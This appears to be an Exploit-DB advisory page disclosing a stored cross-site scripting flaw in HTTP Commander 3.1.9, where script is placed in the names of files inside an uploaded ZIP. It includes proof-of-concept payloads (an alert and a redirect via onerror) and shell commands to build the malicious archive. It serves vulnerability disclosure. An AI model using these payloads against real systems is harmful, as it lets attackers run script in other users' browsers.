6a94460ed6
8 changes to exploits/shellcodes VUPlayer 2.49 - '.wax' Local Buffer Overflow (DEP Bypass) CoreFTP Server build 725 - Directory Traversal (Authenticated) HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS) Online Railway Reservation System 1.0 - 'id' SQL Injection (Unauthenticated) Online Railway Reservation System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Online Railway Reservation System 1.0 - Admin Account Creation (Unauthenticated) Online Railway Reservation System 1.0 - 'Multiple' Stored Cross Site Scripting (XSS) (Unauthenticated) Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated)
24 lines
No EOL
1 KiB
Text
24 lines
No EOL
1 KiB
Text
# Exploit Title: HTTP Commander 3.1.9 - Stored Cross Site Scripting (XSS)
|
|
# Date: 07/01/2022
|
|
# Exploit Author: Oscar Sandén
|
|
# Vendor Homepage: https://www.element-it.com
|
|
# Software Link: https://www.element-it.com/downloads.aspx
|
|
# Version: 3.1.9
|
|
# Tested on: Windows Server 2016
|
|
|
|
[Description]
|
|
There is a stored XSS in the 'Zip content' feature of the HTTP commander application. The vulnerable field is the filename of the files inside the zip. This vulnerability exists in 3.x of the HTTP commander application.
|
|
|
|
[Steps to reproduce]
|
|
1) Create a file with a xxs payload in its name. Examples:
|
|
<img src=x onerror=alert(1)>.txt
|
|
<img src=x onerror="document.location='https:'+String.fromCharCode(47)+String.fromCharCode(47)+'exploit-db.com'">.txt
|
|
Or some other JS you like.
|
|
2) Zip the files
|
|
3) Upload the ZIP-file
|
|
4) In HTTP commander, right click the file and select ZIP-content.
|
|
5) If the files are in a subfolder, expand it until the filenames are shown.
|
|
|
|
[Exploit]
|
|
touch payload/<img src=x onerror=alert(1)>.txt
|
|
Zip -r test.zip /payload |